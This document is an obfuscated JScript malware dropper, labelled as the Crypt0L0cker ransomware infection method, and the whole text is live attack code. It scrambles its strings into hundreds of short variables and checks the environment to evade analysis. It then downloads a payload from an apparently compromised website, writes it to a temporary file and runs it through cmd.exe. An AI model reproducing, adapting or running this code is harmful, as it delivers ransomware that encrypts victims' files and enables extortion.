Norwegian Crypt0L0cker infection method

var obywpot = ".Fi";
var bodajzu = "B.";
var asijdo = "bF";
var ymufj = "re";
var rotom = "me";
var qwofegf = " 1";
var wemedja = "on";
var rbujife = "sp";
var yradk = "xj";
var ozapqy = "pNa";
var ongero = "e /";
var omycy = "tm";
var axdylgy = "Sy";
var vwitrydb = ").";
var ekodpyc = "Fi";
var upmupry = "on";
var ihykci = "= ";
var ykyh = "l";
var ufisd = "emO";
var obego = ".i";
var osyrl = "Get";
var lyhgo = "io";
var newal = "ex";
var ufvuqis = "LHT";
var hlozzude = "Sc";
var ipuxze = "ow";
var atqivro = " t";
var ltudi = "to";
var wyxma = "OD";
var ilac = "ol";
var zguvin = "me";
var iwihe = "ne";
var irahg = "al";
var onqupkab = "lde";
var arodj = "_v";
var vnivla = "pe";
var ekqogi = "/f";
var fcupub = "g.";
var qwoqu = "ct";
var exwidxyx = "tp";
var kehcezr = "t.";
var inugenv = "dy";
var tewwulg = " f";
var lkiqekpy = "ret";
var azim = "um";
var cxetdara = "et";
var lgomodq = "Fi";
var phygvoh = "om";
var etipu = "ht";
var ybcultu = "b/";
var pecxonqo = "(p";
var wcyfuqr = "To";
var xebibxi = "st";
var amcusern = "e.";
var nissyju = ".n";
var agedu = "En";
var ixjub = "e;";
var nwimkaby = "Ope";
var gelygti = "ipt";
var hvacfyhq = "ng";
var egatfusr = "yst";
var yfovqot = "in";
var efatxobj = "er";
var jodlig = "c ";
var ybhyvmus = "24";
var thone = "bje";
var anyl = "ju";
var hytrywa = ":/";
var xejvobx = "p/";
var zqyvkynp = "Ty";
var xrarce = "Pos";
var ygyjmo = "Spe";
var lpindoc = "(g";
var qiqnew = "em";
var ntuqypho = "er";
var wuzusurpi9 = ["n", "yh", "mo", "pa", "i", "e", WScript, "rry", "ez", "i", "eq", "go", "vt", "os", "u", "lp", "cs", "e", "u", "x"][6];
var ixtokwyg = "ub";
var elworhe = "mp";
var awog = "e ";
var ubrody = "m(";
var jyrwyh = "Scr";
var gibaj = "tu";
var ehqoqty = "cmd";
var bsytuly = "je";
var weguzy = "iti";
var dtyjucl = "or";
var wmuqxy = "in";
var axomqi = "if";
var yhus = "St";
var gvaggarr = "0)";
var enjosa = "us";
var anug = "pt";
var urowg = "Clo";
var omuhno = "l_";
var uwacwe = "ad";
var ihumy = "\\\\";
var agluhpu = "Wr";
var orwuw = "se";
var udapebt = "ir";
var uhfipc = "lu";
var iksiqhycg = ".XM";
var juhquqho = "n";
var ujyhy = "cia";
var ojydd = "co";
var jlabfu = "et";
var oxulwoc = "ing";
var ilyzy = "ve";
var syja = "nd";
var arhike = "Wi";
var ezagajc = "('";
var agaca = "va";
var ntipqophu = "leS";
var oplawopv = " >";
var akevu = "se";
var yrakmu = "em";
var dwiqe = "lFo";
var ujmyhte = "Ob";
var jwuqym = "WS";
var ykxuhf = "t/";
var uryqwu = "Sh";
var xihi = "ld";
var jvebha = "it";
var izzerymf = "vq";
var vewoku = "tu";
var kpywi = ") ";
var guja = "Re";
var aftepw = " e";
var usege = "be";
var nwabhux = "pl";
var qalexu = "ep";
var tyhbe = "Fo";
var unovqo = "r";
var vcubapi = "rs";
var ycxikdoff = "ni";
var ewhyf = "st";
var iner = "Ful";
var pyzke = "ge";
var afizvu = "cr";
var dyzulze = ";";
var zephiho = "de";
var mqemomu = "le";
var ocebxy = "d";
var xudijx = "GET";
var eduhw = "bje";
var vetcymby = "54";
var owodo = "Su";
var reqbegsi = ".u";
var uvcac = "nf";
var amojor = "ar";
var ozucko = "\\\\";
var ywgujra = "w ";
var ogog = "s-";
var herxic = "al";
var qtornyjs = "re";
var ctejsyr = "ym";
var ycwanj = "e";
var bysebi = "rn";
var amysbip = "u0";
var agguhrac = "ra";
var qcycbon = "at";
var antevto = "el";
var evucu = "rn";
var xulysg = "ru";
var uskozy = "mi";
var ozewq = "es";
var kompaha = "se";
var ocjafu = "ls";
var exjiqr = "s'";
var etob = "ip";
var obpamhy = ");";
var mfyzji = "ct";
var munefc = "88";
var pifmahi = "tu";
var ovreg = "ipt";
var awajubg = "TP";
var zhovitfy = "  ";
var erjicry = "re";
var elziv = "/c";
var umvyknud = ".ex";
var iresi = "r/";
var jyqaxi = "Sa";
var nahumjy = "St";
var vtinofu = "ML2";
var fhaploso = "on";
var ehroqqi = "69";
var gkeflanb = "26";
var nurexy = "en";
var kofujnu = "tiv";
var onypfajs = "C:";
var yzxebqe = "r ";
var ggesul = ".T";
var cwojxi = ".G";
var gofefm = "yp";
var dahcuji = "urn";
var arzoqa = "eXO";
var idgahvef = "st";
var xesojh = "Tem";
var hcetuzi = "AD";
var akol = "Scr";
var qmodfypda = " Ac";
var imlekd = "am";
var ebcys = "Get";
var mgeroqm = "/g";
var wnitus = "co";
var ycrecacj = "0 ";
var qrehymi = "le";
var ilohjan = "Bo";
var ftamu = "dy";
var ohsyq = "lNa";
var dupmagtu = "at";
var yriqe = "th";
var qixgoltu = "ts";
var hamyzwe = "sen";
var tedmylde = "ri";
var asad = "le";
var zxujevv = "MSX";
var onwyrc = "run";
var yvrics = "2/";
var anqugwejz = "65";
var oxhukco = "te";
var irtahma = "ct;";

function fweqijy() {
	var nbybe = "nytkopyvycu";
	var uvohl = hlozzude + tedmylde + anug + wmuqxy + fcupub + ekodpyc + mqemomu + axdylgy + xebibxi + yrakmu + ujmyhte + bsytuly + mfyzji;
	var byzlyxz = "chobzopiki";
	return uvohl;
}
function oveh() {
	var htena = "ivxadgymtethif";
	var ujbahwi = agaca + yzxebqe + pyzke + nwabhux + ixtokwyg + newal + anyl + ycrecacj + ihykci + iwihe + ywgujra + agedu + azim + ntuqypho + qcycbon + dtyjucl + pecxonqo + ctejsyr + inugenv + izzerymf + cwojxi + cxetdara + tyhbe + xihi + efatxobj + ezagajc + onypfajs + ihumy + arhike + syja + ipuxze + exjiqr + vwitrydb + owodo + asijdo + ilac + zephiho + vcubapi + obpamhy + zhovitfy + axomqi + lpindoc + qalexu + uhfipc + usege + yradk + amysbip + obego + oxhukco + ubrody + gvaggarr + ggesul + gofefm + amcusern + qrehymi + hvacfyhq + yriqe + oplawopv + qwofegf + kpywi + ymufj + pifmahi + evucu + atqivro + xulysg + ixjub + aftepw + ocjafu + awog + erjicry + vewoku + bysebi + tewwulg + herxic + akevu + dyzulze;
	var ymsugxihg = "ekozygtugsu";
	return ujbahwi;
}
function fodfe() {
	var ydalnu = "ybwygopodqa";
	var ilpajix = lkiqekpy + dahcuji + qmodfypda + kofujnu + arzoqa + eduhw + irtahma;
	var alino = "avpehhomywke";
	return ilpajix;
}
function jgodxicd() {
	var usyfnet = "rjumfucibzila";
	var unnyrci = zxujevv + vtinofu + iksiqhycg + ufvuqis + awajubg;
	var ocgalq = "ovyplaramfu";
	return unnyrci;
}
function orvubb() {
	var puzkose = "afbutwesodd";
	var pijrigq = akol + gelygti + oxulwoc + obywpot + ntipqophu + egatfusr + ufisd + thone + qwoqu;
	var zyrro = "umvenigyc";
	return pijrigq;
}
function owatyrq() {
	var zrupamge = "evfotsepiqram";
	var vgige = jwuqym + afizvu + etob + kehcezr + uryqwu + antevto + ykyh;
	var atukfu = "uxqafvehycmo";
	return vgige;
}
function hyjpihzo() {
	var ihehnuv = "ujkosbesnacwi";
	var imaghatp = hcetuzi + wyxma + bodajzu + yhus + qtornyjs + imlekd;
	var kgyni = "nygevyve";
	return imaghatp;
}
function ukdykfo() {
	var etcipz = "umqovfemgic";
	var zywbob = jyrwyh + ovreg + iner + ohsyq + zguvin;
	var ojzuty = "pygmebcuhems";
	return zywbob;
}
function jilufl() {
	var sderobz = "fezylpennomjy";
	var jluhzizxu = etipu + exwidxyx + hytrywa + mgeroqm + ogog + ozewq + nissyju + jlabfu + ekqogi + yvrics + omycy + xejvobx + yfovqot + ewhyf + irahg + omuhno + vetcymby + anqugwejz + gkeflanb + munefc + ybhyvmus + ehroqqi + ybcultu + uwacwe + uskozy + ycxikdoff + idgahvef + agguhrac + ltudi + iresi + ojydd + elworhe + fhaploso + nurexy + qixgoltu + elziv + phygvoh + arodj + udapebt + gibaj + qiqnew + amojor + ykxuhf + wnitus + uvcac + reqbegsi + lyhgo;
	var ncyqop = "reradqafpicr";
	return jluhzizxu;
}
function amimgy() {
	var mafine = "umviqxybheciz";
	var uvew = xudijx;
	var efpazny = "qligygnyvijr";
	return uvew;
}
function qkufepu() {
	var lnumod = "gzurnuquqe";
	var czupahu = nwimkaby + juhquqho;
	var bpibbi = "fozexyqi";
	return czupahu;
}
function uvaba() {
	var qhaxo = "igogryltelc";
	var whowxuxk = osyrl + ygyjmo + ujyhy + dwiqe + onqupkab + unovqo;
	var ypcirud = "cahrakatusg";
	return whowxuxk;
}
function eqhan() {
	var runwi = "ucigqaxeh";
	var ajifzuq = ozucko;
	var ivveqi = "ijulonbeqluqz";
	return ajifzuq;
}
function ojduzz() {
	var absojwe = "khafajibasn";
	var ipjuwj = ebcys + xesojh + ozapqy + rotom;
	var ygnyfse = "bxaxazekqu";
	return ipjuwj;
}
function esydg() {
	var jdopnupa = "duhyhfojoj";
	var ewahzu = zqyvkynp + vnivla;
	var ynykp = "odzodekerl";
	return ewahzu;
}
function enax() {
	var ocyc = "benjybywacto";
	var vgurorna = hamyzwe + ocebxy;
	var amcidgaz = "afoczodmyp";
	return vgurorna;
}
function cepy() {
	var uwvez = "omvyvukzassa";
	var gkapmuzi = ehqoqty + umvyknud + ongero + jodlig;
	var agfubo = "itcexesyc";
	return gkapmuzi;
}
function untozk() {
	var jizbogzu = "iclapegucg";
	var eqmimhi = xrarce + weguzy + upmupry;
	var yrhehgel = "retugehi";
	return eqmimhi;
}
function itvent() {
	var edzyde = "jodleclujxi";
	var qgawgorpy = nahumjy + dupmagtu + enjosa;
	var xxyva = "gydasryxo";
	return qgawgorpy;
}
function zarxa() {
	var bexebe = "otmufqojynoc";
	var zevne = agluhpu + jvebha + ycwanj;
	var yfadkyq = "kecwungaqowo";
	return zevne;
}
function zeblel() {
	var yxalugg = "pysikequg";
	var bhoqod = guja + rbujife + wemedja + kompaha + ilohjan + ftamu;
	var fafyk = "yjmaccalcadti";
	return bhoqod;
}
function csike() {
	var druvytxu = "azdidsunfyt";
	var ybhytmaqt = jyqaxi + ilyzy + wcyfuqr + lgomodq + asad;
	var ujime = "yfegukenz";
	return ybhytmaqt;
}
function apxafzip() {
	var ofimob = "yglufkaryvby";
	var xetfaju = urowg + orwuw;
	var gkave = "ivpyveqitnekd";
	return xetfaju;
}
function iwbovymj() {
	var ohijg = "rtiqedpyliqe";
	var yzgumb = onwyrc;
	var emus = "awwiqwofes";
	return yzgumb;
}
var ntysa = wuzusurpi9;
var pymdyvq = new ActiveXObject(fweqijy());
if (new Function(oveh())()) {
	var qicqy04 = new Function(fodfe())();
	var dulhebly = jgodxicd();
	var bsijivl = fweqijy();
	var uskiczeg0 = owatyrq();
	var brekorynk = hyjpihzo();
	var vifgumani0 = ntysa[ukdykfo()];
	var adigf = new qicqy04(brekorynk);
	var novma5 = jilufl();
	var uhgijtu4 = new qicqy04(dulhebly);
	var ruktehydi4 = new qicqy04(bsijivl);
	uhgijtu4.open(amimgy(), novma5, 0);
	adigf[qkufepu()]();
	var xmavy5 = ruktehydi4[uvaba()](2) + eqhan() + ruktehydi4[ojduzz()]();
	adigf[esydg()] = 1;
	uhgijtu4[enax()]();
	var nkydowvas3 = new qicqy04(uskiczeg0);
	var gkuwy = cepy() + xmavy5;
	adigf[untozk()] = 0;
	if (uhgijtu4[itvent()] == 200) {
		adigf[zarxa()](uhgijtu4[zeblel()]);
		adigf[csike()](xmavy5);
		adigf[apxafzip()]();
		nkydowvas3[iwbovymj()](gkuwy, 0);
	}
}